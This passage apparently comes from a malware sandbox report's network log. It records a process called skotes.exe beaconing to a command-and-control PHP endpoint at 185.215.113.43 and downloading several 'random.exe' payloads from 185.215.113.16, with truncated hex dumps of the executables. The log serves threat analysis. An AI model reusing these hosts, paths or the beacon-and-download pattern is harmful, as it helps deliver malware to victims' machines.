Oct 31, 2024 23:37:15.786514044 CET	1236	IN	Data Raw: 2d e1 59 4b 66 3e 39 d1 23 5c cf 48 16 4f 72 20 5b 3e 36 b1 c3 6b a8 d0 23 5c cf ba 14 53 72 d0 56 3e 5c 4f 34 0f f3 58 05 93 53 e8 f6 64 d4 6e 15 57 bd d1 b3 3e ec 58 01 2d 56 a1 bb 50 09 9e 1e f9 4f 50 76 68 d0 28 36 75 5a 26 55 59 f3 d4 84 3b Data Ascii: -YKf>9#\HOr [>6k#\SrV>\O4XSdnW>X-VPOPvh(6uZ&UY;uDe0R=_I{tWSYjPUbRfeJDYXzPvJ8Z\US"Sm5Bo*5m:Kdpj[~X>,\)=INmzS=>Ngx QYzY"Ei1aW!]UO
Oct 31, 2024 23:37:15.791760921 CET	1236	IN	Data Raw: ec 51 3c 6c 11 63 9d 59 ad 83 5d 82 8c 84 d7 2c bd 8d 87 62 a5 fd 81 9c 6b 8c 5e 41 2e 1b 8f f2 1c 31 44 e1 21 a9 99 fa 25 bf 1f 81 3f b0 76 a3 b4 dd 90 17 5c e0 77 a1 74 3c e5 89 2e 85 e5 06 73 34 4b 97 2e c8 85 dd d2 7f 67 1e 4c bf 90 4f 62 34 Data Ascii: Q<lcY],bk^A.1D!%?v\wt<.s4K.gLOb41xj~Ujzpz:]mlX?Lu co'W[`,n__x$k_xy*at@<{)[4T {y$4;sX]{
Oct 31, 2024 23:37:18.971260071 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:37:19.255897045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:37:19 GMT Content-Type: application/octet-stream Content-Length: 1890816 Last-Modified: Thu, 31 Oct 2024 22:34:53 GMT Connection: keep-alive ETag: "6724060d-1cda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 40 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@K@pK@WkD,K8,K @.rsrcD@.idata @ *@goqfmtntp1@dqkmyhqi0K@.taggant0@K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49786	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:04.591806889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 23:38:05.515381098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49800	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:07.036076069 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 23:38:07.952142954 CET	730	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 62 0d 0a 20 3c 63 3e 31 30 30 33 30 32 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 33 30 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 33 30 32 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 21b <c>1003020001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1003021001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1003022001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1003023001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#1003024001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb5846d934f48b15eaa495c49#1003025001+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eabfeffb5846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49806	185.215.113.16	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:07.961261034 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 23:38:08.874682903 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:08 GMT Content-Type: application/octet-stream Content-Length: 2971136 Last-Modified: Thu, 31 Oct 2024 22:34:32 GMT Connection: keep-alive ETag: "672405f8-2d5600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 60 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 30 00 00 04 00 00 76 ed 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ`0@0v-@Th@ ~@.rsrc@@.idata @swezfqkm**@xdynphypP00-@.taggant0`0"4-@
Oct 31, 2024 23:38:08.874701977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:08.874717951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:08.874757051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:08.874773979 CET	1236	IN	Data Raw: c1 8f bb 0f 5d d2 a1 e0 6d 5c ce 78 e1 2f 2c 4e f0 3b f4 6f 90 db 37 40 eb 9f 47 e1 25 79 c2 a0 ea ff 1f cb 06 c0 a3 54 d1 cf 01 73 75 74 85 68 a3 43 c1 10 91 ba 23 96 50 a7 32 eb 9a 53 b8 95 f5 3e 9b b3 92 9e c7 73 e9 d4 3b 80 da 54 c4 8c a5 33 Data Ascii: ]m\x/,N;o7@G%yTsuthC#P2S>s;T3$reH8q%#d[+KxbJ2^7g32t%VSsM}&fT,R@%D?G/<,0?}CUJm$!@
Oct 31, 2024 23:38:08.874789000 CET	1236	IN	Data Raw: c8 a8 ed ba e3 ae 4c 34 53 c3 0f bb 59 bc 1e ea 57 e5 bf 7a 26 5c 9d 59 04 6f c3 70 67 a8 ac 50 79 33 2f 9e 97 2a 37 ae 56 44 9c 54 84 d7 d0 53 91 73 41 88 d8 37 4b 84 4a 94 81 45 b5 3c 47 46 ac 17 19 b6 63 ef 26 a3 a6 73 ab 94 17 b5 b8 e6 91 74 Data Ascii: L4SYWz&\YopgPy3/*7VDTSsA7KJE<GFc&stPuLMC6W}X'c,YS\|G"S@h+?7z6m4tT+ +@tS$BJK:Ve4Q[2n~IJ
Oct 31, 2024 23:38:08.874806881 CET	1236	IN	Data Raw: 1c 68 bc 68 7e fd 7e 47 0f 87 de a7 80 dd e9 11 92 19 2f 55 14 7c d1 8d 97 70 19 f3 9c a4 ea 7a 1a 97 a5 ff 69 48 37 4b c4 bc eb d6 63 bd 21 ee 22 8c 21 8d 31 88 35 19 ed e0 07 96 92 bc cf 19 d0 14 e2 81 b5 be e6 86 03 db 1f bd 5c d0 c7 91 38 c4 Data Ascii: hh~~G/U\|pziH7Kc!"!15\8bAMijDqP@u_g-r~t,M\|VFI(?ozvQWtgU.SeHoM{8W$"v;_m~mm@p0A+TO}t
Oct 31, 2024 23:38:08.875180960 CET	1236	IN	Data Raw: 90 30 b8 78 a4 44 a8 10 96 07 c3 ac 7f df bf bd 97 3b 47 1a 14 9c 8c ec a9 18 40 9f bd db b7 f0 4a 7d b3 a3 fd fb 4f fe 12 69 8e 95 7d 64 32 04 06 a8 ad b8 04 24 3c 3e b0 1d d2 12 5a c4 b9 52 b8 0b b5 3a bd e7 76 51 99 4b 91 f1 5c c7 22 66 1c fb Data Ascii: 0xD;G@J}Oi}d2$<>ZR:vQK\"f`Ze8\|q=BWg+W"tu5X?AwbU7I/\@+;`z@N-N\|BHOB3FO/\|H<(xJo+1
Oct 31, 2024 23:38:08.875195980 CET	1236	IN	Data Raw: 1a f9 83 c5 b2 48 77 cd 76 ac b7 d4 f8 a4 e8 c2 1d fd 9f b6 bb 76 50 a8 cd 40 9c 8f ac 41 99 84 26 3c 93 c1 92 c0 62 de 74 5b 9d bc da 27 6b 5d f8 0f 1d a9 a7 3e 72 8f b5 9a ed e0 f5 31 84 d3 28 84 f9 cb fa b1 4b 30 e7 40 d7 0e 71 43 ae 31 35 13 Data Ascii: HwvvP@A&<bt['k]>r1(K0@qC15(dF[m*6Kfuo'T##KD%@!\|F'Pf/bKW ?)(@V0Gnp]QJuoHT?g`A"[fG)fN.1
Oct 31, 2024 23:38:08.875211954 CET	1236	IN	Data Raw: 7c 1a 3d cb db a6 c0 aa 61 17 2c bf e9 c4 f2 c7 a9 d3 c0 4d 87 cd d9 8d 76 c3 28 82 dc f5 5f b6 f3 4b 7f 39 22 bb bf a8 0a f3 99 1a 00 ce cb 18 94 76 47 83 9e bd 69 98 92 4b 23 ff 97 2b 88 ab bc e3 0f f2 a6 4b 27 54 9d 7e 47 56 65 2f ac 76 e0 9f Data Ascii: \|=a,Mv(_K9"vGiK#+K'T~GVe/vy~5kA)H0~Bk fG8-8#hKWC81>-t07.Q}\|>)b_[,Sn]Z{KH
Oct 31, 2024 23:38:08.879705906 CET	1120	IN	Data Raw: d5 bf 4a 98 d1 e7 6f 6b 7e c1 cf 00 61 06 23 f8 ec f6 d6 b5 a9 50 77 aa ce 3d 3f ee 15 66 f7 51 df 3e e4 a4 42 30 8d c7 9a 9d b3 67 00 c6 ef fa 47 3e ee 43 c2 ce 7a dd 9c 17 d7 1b 53 8d 54 a3 b5 95 b0 ac 72 70 d6 b2 2d 81 d7 f4 3c 2b bf c5 53 9e Data Ascii: Jok~a#Pw=?fQ>B0gG>CzSTrp-<+SxJg+d,FW$#&s\|!z>ff4O.)lKKmA9-4{w"byH@,H@cw2%k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49829	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:12.878565073 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003020001&unit=246122658369
Oct 31, 2024 23:38:13.763434887 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49837	185.215.113.16	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:13.770603895 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 23:38:14.671207905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:14 GMT Content-Type: application/octet-stream Content-Length: 2118656 Last-Modified: Thu, 31 Oct 2024 22:34:46 GMT Connection: keep-alive ETag: "67240606-205400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 72 00 00 04 00 00 b8 4c 21 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,0r@`rL!@P.d. p.v@.rsrc .@.idata .@ ).@aslwbrhjpX@bqvglmea r, @.taggant00r"2 @
Oct 31, 2024 23:38:14.671474934 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:14.671485901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:14.671497107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:14.671509027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:14.671521902 CET	636	IN	Data Raw: 9d c8 fc 89 11 5f 9a 22 87 08 38 72 c6 e6 95 a9 ea 34 39 f0 88 56 5b 09 19 75 b6 fd 4c 84 ac c1 85 b6 f2 14 07 f9 18 57 3d 5f 7f 99 9f 1d 1d 10 06 39 90 30 c1 5e 95 f0 3e 71 b4 ea 80 64 ac f8 9f 97 58 a4 8b 01 d7 86 64 e8 7a 70 c9 98 4f 80 a1 d9 Data Ascii: _"8r49V[uLW=_90^>qdXdzpOV6x@][6a:T-1e2$8Wl159DQKf: $z!<a6 wlV"]`fJ
Oct 31, 2024 23:38:14.671533108 CET	1236	IN	Data Raw: 62 6c 39 8f ed e5 e9 e5 3e 98 40 68 13 fd ca c5 4e cd a6 17 db 8d ea aa 0d 59 ec 62 79 c8 37 47 f6 b3 fd a7 98 7c 41 93 75 6a fa 8d 01 1c 9b 44 88 e0 77 02 b7 92 d2 da b7 b9 90 d4 fb 91 c6 25 21 9e b8 33 75 dd 11 18 29 a8 ab 8e 7f 98 25 6e 8e f5 Data Ascii: bl9>@hNYby7G\|AujDw%!3u)%nO{V&SHMfi(tm\|0!ebUo<'udYl0hEpl7U7Yb2a!&,3)t36e\|
Oct 31, 2024 23:38:14.671545982 CET	1236	IN	Data Raw: 41 41 72 99 fa b9 ac fb 06 71 a5 01 3d d9 38 6a f7 59 d6 ad 98 95 ad 2b 8f 19 1d c9 80 b9 ec a5 91 ad b8 a4 06 68 7a 6e c0 7c de 9a 38 7e c3 8d d7 db 31 c6 f2 6c b2 e5 d8 df ec cd 91 58 26 d2 f9 74 1e e6 c1 df 7a f6 81 6d d6 85 b7 11 9b ae aa 2d Data Ascii: AArq=8jY+hzn\|8~1lX&tzm-gdEjem`t^vxI^;Yi55$u{.#kgtB\|Z$I\|wriZ{u}nzp'\|Shl
Oct 31, 2024 23:38:14.671557903 CET	1236	IN	Data Raw: 92 21 35 e9 bb 6a ad 7a e0 7d af 75 93 74 7c ee 96 2b b2 99 e4 f6 0c 60 a1 7a a6 d6 06 14 a4 22 9f c1 f0 0a a3 fc a3 a2 7a f1 2e f8 e4 0c 20 92 cb 74 9d c2 89 da f3 01 bd 6d 51 a1 91 d9 ab 6c 96 48 d0 cf d6 f1 ab 36 7b a8 2e bb 26 3b b3 4d 92 61 Data Ascii: !5jz}ut\|+`z"z. tmQlH6{.&;Ma^gBA/{-UOtwa(V@\#kD~m\|##sht~*}9t\|.t@id=lh:0s>\|JU$
Oct 31, 2024 23:38:14.671570063 CET	1236	IN	Data Raw: c1 f9 8a 3a 33 dd a3 4e 99 3b 85 ee e3 15 34 c2 b0 7d 36 17 42 38 7d c5 0c 5d 83 cc 7a 0c ac 2e 7f 24 cd 16 ec 61 7c 17 97 6c 27 fa 1e 9d d4 11 19 1e 39 17 c3 7b c0 b6 16 64 9d 0b 3d dd a3 72 99 b8 83 56 e1 8b be 5d f7 74 2e 00 bf 94 a2 b4 2e 79 Data Ascii: :3N;4}6B8}]z.$a\|l'9{d=rV]t..y[#6szl!V1bStECVi`g-(\|#[^\|ib{.ft"nz?{t^hcntnttjZY'~ecX6{t
Oct 31, 2024 23:38:14.676431894 CET	1236	IN	Data Raw: 4f dd 4a e0 d8 ad f0 7a c3 39 a4 ee fd 9a 65 78 b8 c0 9b f6 b1 7b 72 a5 32 7a 9a a4 06 7b 36 ca c2 75 a5 85 05 a1 90 c9 95 e9 6c 60 92 a1 34 8c 05 7b 7a 6c bb 77 1a 9e 91 e9 b8 a4 ed 6c 16 6a 97 76 c7 fd 91 9b 62 02 cf e7 58 c1 15 49 2f 17 7b a0 Data Ascii: OJz9ex{r2z{6ul`4{zlwljvbXI/{+@qSpilI^tk2&ta2=p{t?Ypg&\|$.i\|lftI*(}A\|u#p.jv4^L<c1b%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49864	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:18.445511103 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 33 30 32 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003021001&unit=246122658369
Oct 31, 2024 23:38:19.320550919 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49870	185.215.113.16	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:19.364423037 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 23:38:20.270030022 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:20 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 21:44:39 GMT Connection: keep-alive ETag: "6723fa47-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3f fa 23 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL?#g"Xw@`~@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 31, 2024 23:38:20.270049095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
